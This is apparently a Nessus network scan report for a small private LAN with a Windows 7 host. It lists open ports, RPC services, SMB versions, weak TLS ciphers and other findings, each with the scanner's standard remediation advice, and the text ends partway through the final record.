		10736						None		192.168.0.31		tcp		49154		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49154 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49155		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49155 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
Description : Service Control Manager
Windows process : svchost.exe
Type : Remote RPC service
TCP Port : 49155
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49156		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49156 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 49156
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Remote RPC service
TCP Port : 49156
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10785						None		192.168.0.31		tcp		445		Microsoft Windows SMB NativeLanManager Remote System Information Disclosure		It was possible to obtain information about the remote operating
system.		Nessus was able to obtain the remote operating system name and version
(Windows and/or Samba) by sending an authentication request to port
139 or 445. Note that this plugin requires SMB1 to be enabled on the
host.		n/a				The remote Operating System is : Windows 7 Professional 7601 Service Pack 1
The remote native LAN manager is : Windows 7 Professional 6.1
The remote SMB Domain Name is : WIN7
										None								10/17/01		1/22/20

		11011						None		192.168.0.31		tcp		139		Microsoft Windows SMB Service Detection		A file / print sharing service is listening on the remote host.		The remote service understands the CIFS (Common Internet File System)
or Server Message Block (SMB) protocol, used to provide shared access
to files, printers, etc between nodes on a network.		n/a				
An SMB server is running on this port.
										None								6/5/02		8/20/20

		11011						None		192.168.0.31		tcp		445		Microsoft Windows SMB Service Detection		A file / print sharing service is listening on the remote host.		The remote service understands the CIFS (Common Internet File System)
or Server Message Block (SMB) protocol, used to provide shared access
to files, printers, etc between nodes on a network.		n/a				
A CIFS server is running on this port.
										None								6/5/02		8/20/20

		11153						None		192.168.0.31		tcp		2869		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				A web server seems to be running on this port.										None								11/18/02		11/26/18

		11219						None		192.168.0.31		tcp		135		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 135/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.31		tcp		139		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 139/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.31		tcp		445		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 445/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.31		tcp		554		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 554/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.31		tcp		2869		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 2869/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.31		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Microsoft Windows 7 Professional
Confidence level : 99
Method : MSRPC

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

SinFP:!:
   P1:B11113:F0x12:W8192:O0204ffff:M1460:
   P2:B11113:F0x12:W8192:O0204ffff010303080402080affffffff44454144:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:181102_7_p=139

 
The remote host is running Microsoft Windows 7 Professional										None								12/9/03		3/9/20

		19506						None		192.168.0.31		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 531 sec
										None								8/26/05		8/27/20

		24786						None		192.168.0.31		tcp		0		Nessus Windows Scan Not Performed with Admin Privileges		The Nessus scan of this host may be incomplete due to insufficient
privileges provided.		The Nessus scanner testing the remote host has been given SMB
credentials to log into the remote host, however these credentials do
not have administrative privileges. 

Typically, when Nessus performs a patch audit, it logs into the remote
host and reads the version of the DLLs on the remote host to determine
if a given patch has been applied or not.  This is the method Microsoft
recommends to determine if a patch has been applied. 

If your Nessus scanner does not have administrative privileges when
doing a scan, then Nessus has to fall back to perform a patch audit
through the registry which may lead to false positives (especially when
using third-party patch auditing tools) or to false negatives (not all
patches can be detected through the registry).		Reconfigure your scanner to use credentials with administrative
privileges.				
It was not possible to connect to '\\WIN7\ADMIN$' with the supplied credentials.
										None				IAVB:0001-B-0505				3/12/07		9/22/20

		25220						None		192.168.0.31		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		26917						None		192.168.0.31		tcp		445		Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry		Nessus is not able to access the remote Windows Registry.		It was not possible to connect to PIPE\winreg on the remote host.

If you intend to use Nessus to perform registry-based checks, the
registry checks will not work because the 'Remote Registry Access'
service (winreg) has been disabled on the remote host or can not be
connected to with the supplied credentials.		n/a				Could not connect to the registry because:
Could not connect to \winreg										None				IAVB:0001-B-0506				10/4/07		9/22/20

		35711						None		192.168.0.31		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.31:2869/upnphost/udhisapi.dll?content=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4

And advertises these unique service names :

    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::urn:schemas-upnp-org:service:ConnectionManager:1
    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::upnp:rootdevice
    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::urn:schemas-upnp-org:service:ContentDirectory:1
    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::urn:schemas-upnp-org:device:MediaServer:1
    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
    [fe80::b4a0:3f58:4d35:8ce]:3540

										None								2/19/09		9/12/18

		35712						None		192.168.0.31		tcp		2869		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.31:2869/upnphost/udhisapi.dll?content=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4 :

deviceType: urn:schemas-upnp-org:device:MediaServer:1
friendlyName: WIN7: Brian:
manufacturer: Microsoft Corporation
manufacturerURL: http://www.microsoft.com
modelName: Windows Media Player Sharing
modelName: Windows Media Player Sharing
modelNumber: 12.0
modelURL: http://go.microsoft.com/fwlink/?LinkId=105926
serialNumber: {E2F94925-7C89-4B05-9DEA-AD4ED8C1FC7B}
ServiceID: urn:upnp-org:serviceId:ConnectionManager
	serviceType: urn:schemas-upnp-org:service:ConnectionManager:1
	controlURL: /upnphost/udhisapi.dll?control=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:upnp-org:serviceId:ConnectionManager
	eventSubURL: /upnphost/udhisapi.dll?event=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:upnp-org:serviceId:ConnectionManager
	SCPDURL: /upnphost/udhisapi.dll?content=uuid:e6fddabe-0b4b-4046-9562-19feaa46d9f1
ServiceID: urn:upnp-org:serviceId:ContentDirectory
	serviceType: urn:schemas-upnp-org:service:ContentDirectory:1
	controlURL: /upnphost/udhisapi.dll?control=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:upnp-org:serviceId:ContentDirectory
	eventSubURL: /upnphost/udhisapi.dll?event=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:upnp-org:serviceId:ContentDirectory
	SCPDURL: /upnphost/udhisapi.dll?content=uuid:5f53a9ee-256a-458c-afea-93f69f65b8a7
ServiceID: urn:microsoft.com:serviceId:X_MS_MediaReceiverRegistrar
	serviceType: urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
	controlURL: /upnphost/udhisapi.dll?control=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:microsoft.com:serviceId:X_MS_MediaReceiverRegistrar
	eventSubURL: /upnphost/udhisapi.dll?event=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:microsoft.com:serviceId:X_MS_MediaReceiverRegistrar
	SCPDURL: /upnphost/udhisapi.dll?content=uuid:6ef3c792-d1f6-4c77-a12c-657ece204a55
										None								2/19/09		6/12/20

		35716						None		192.168.0.31		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

08:00:27:61:01:8C : PCS Systemtechnik GmbH
										None								2/19/09		5/13/20

		45590						None		192.168.0.31		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:microsoft:windows_7:::professional
										None								4/21/10		9/30/20

		53513						None		192.168.0.31		udp		5355		Link-Local Multicast Name Resolution (LLMNR) Detection		The remote device supports LLMNR.		The remote device answered to a Link-local Multicast Name Resolution
(LLMNR) request.  This protocol provides a name lookup service similar
to NetBIOS or DNS.  It is enabled by default on modern Windows
versions.		Make sure that use of this software conforms to your organization's
acceptable use and security policies.		http://www.nessus.org/u?51eae65d
http://technet.microsoft.com/en-us/library/bb878128.aspx		
According to LLMNR, the name of the remote host is 'Win7'.
										None								4/21/11		3/6/19

		65821		CVE-2015-2808		4.3		Medium		192.168.0.26		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		54615						None		192.168.0.31		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 99
										None								5/23/11		5/23/11

		65821		CVE-2013-2566		4.3		Medium		192.168.0.28		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		86420						None		192.168.0.31		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 08:00:27:61:01:8C
										None								10/16/15		5/13/20

		96982						None		192.168.0.31		tcp		445		Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)		The remote Windows host supports the SMBv1 protocol.		The remote Windows host supports Server Message Block Protocol
version 1 (SMBv1). Microsoft recommends that users discontinue the use
of SMBv1 due to the lack of security features that were included in
later SMB versions. Additionally, the Shadow Brokers group reportedly
has an exploit that affects SMB; however, it is unknown if the exploit
affects SMBv1 or another version. In response to this, US-CERT
recommends that users disable SMBv1 per SMB best practices to mitigate
these potential issues.		Disable SMBv1 according to the vendor instructions in Microsoft
KB2696547. Additionally, block SMB directly by blocking TCP port 445
on all network boundary devices. For SMB over the NetBIOS API, block
TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary
devices.		https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3		
The remote host supports SMBv1.
										None				IAVT:0001-T-0710				2/3/17		9/22/20

		65821		CVE-2015-2808		4.3		Medium		192.168.0.28		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		12217				5		Medium		192.168.0.1		udp		53		DNS Server Cache Snooping Remote Information Disclosure		The remote DNS server is vulnerable to cache snooping attacks.		The remote DNS server responds to queries for third-party domains
that do not have the recursion bit set. 

This may allow a remote attacker to determine which domains have
recently been resolved via this name server, and therefore which hosts
have been recently visited. 

For instance, if an attacker was interested in whether your company
utilizes the online services of a particular financial institution,
they would be able to use this attack to build a statistical model
regarding company usage of that financial institution.  Of course, the
attack can also be used to find B2B partners, web-surfing patterns,
external mail servers, and more.

Note: If this is an internal DNS server not accessible to outside
networks, attacks would be limited to the internal network. This
may include employees, consultants and potentially users on
a guest network or WiFi connection if supported.		Contact the vendor of the DNS software for a fix.		http://cs.unc.edu/~fabian/course_papers/cache_snooping.pdf		
Nessus sent a non-recursive query for example.edu
and received 1 answer :

93.184.216.34
				5.3						Medium								4/27/04		4/7/20

		26928				4.3		Medium		192.168.0.20		tcp		443		SSL Weak Cipher Suites Supported		The remote service supports the use of weak SSL ciphers.		The remote host supports the use of SSL ciphers that offer weak
encryption.

Note: This is considerably easier to exploit if the attacker is on the
same physical network.		Reconfigure the affected application, if possible to avoid the use of
weak ciphers.		http://www.nessus.org/u?6527892d		
Here is the list of weak SSL ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.3						Medium				CWE:326;CWE:327;CWE:720;CWE:753;CWE:803;CWE:928;CWE:934				10/8/07		5/16/18

		26928				4.3		Medium		192.168.0.26		tcp		443		SSL Weak Cipher Suites Supported		The remote service supports the use of weak SSL ciphers.		The remote host supports the use of SSL ciphers that offer weak
encryption.

Note: This is considerably easier to exploit if the attacker is on the
same physical network.		Reconfigure the affected application, if possible to avoid the use of
weak ciphers.		http://www.nessus.org/u?6527892d		
Here is the list of weak SSL ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.3						Medium				CWE:326;CWE:327;CWE:720;CWE:753;CWE:803;CWE:928;CWE:934				10/8/07		5/16/18

		26928				4.3		Medium		192.168.0.28		tcp		443		SSL Weak Cipher Suites Supported		The remote service supports the use of weak SSL ciphers.		The remote host supports the use of SSL ciphers that offer weak
encryption.

Note: This is considerably easier to exploit if the attacker is on the
same physical network.		Reconfigure the affected application, if possible to avoid the use of
weak ciphers.		http://www.nessus.org/u?6527892d		
Here is the list of weak SSL ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.3						Medium				CWE:326;CWE:327;CWE:720;CWE:753;CWE:803;CWE:928;CWE:934				10/8/07		5/16/18

		57608				5		Medium		192.168.0.31		tcp		445		SMB Signing not required		Signing is not required on the remote SMB server.		Signing is not required on the remote SMB server. An unauthenticated,
remote attacker can exploit this to conduct man-in-the-middle attacks
against the SMB server.		Enforce message signing in the host's configuration. On Windows, this
is found in the policy setting 'Microsoft network server: Digitally
sign communications (always)'. On Samba, the setting is called 'server
signing'. See the 'see also' links for further details.		https://support.microsoft.com/en-us/help/887429/overview-of-server-message-block-signing
http://technet.microsoft.com/en-us/library/cc731957.aspx
http://www.nessus.org/u?74b80723
https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html
http://www.nessus.org/u?a3cac4ea						5.3		3.7		4.6		Medium								1/19/12		11/15/18

		100871						None		192.168.0.31		tcp		445		Microsoft Windows SMB Versions Supported (remote check)		It was possible to obtain information about the version of SMB running
on the remote host.		Nessus was able to obtain the version of SMB running on the remote
host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.		n/a				
The remote host supports the following versions of SMB :
  SMBv1
  SMBv2
										None								6/19/17		11/22/19

		106716						None		192.168.0.31		tcp		445		Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)		It was possible to obtain information about the dialects of SMB2 and SMB3 available
on the remote host.		Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote
host by sending an authentication request to port 139 or 445.		n/a				
The remote host supports the following SMB dialects :
	_version_  _introduced in windows version_
	2.0.2      Windows 2008  
	2.1        Windows 7     

The remote host does NOT support the following SMB dialects :
	_version_  _introduced in windows version_
	2.2.2      Windows 8 Beta
	2.2.4      Windows 8 Beta
	3.0        Windows 8     
	3.0.2      Windows 8.1   
	3.1        Windows 10    
	3.1.1      Windows 10    
										None								2/9/18		3/11/20

		57582				6.4		Medium		192.168.0.1		tcp		4567		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=US/O=Circle Media Inc/CN=localhost
										Medium								1/17/12		4/27/20

		110723						None		192.168.0.31		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SMB was detected on port 445 but no credentials were provided.
SMB local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.31		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SMB service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		135860						None		192.168.0.31		tcp		445		WMI Not Available		WMI queries could not be made against the remote host.		WMI (Windows Management Instrumentation) is not available on the
remote host over DCOM. WMI queries are used to gather information
about the remote host, such as its current state, network interface
configuration, etc.

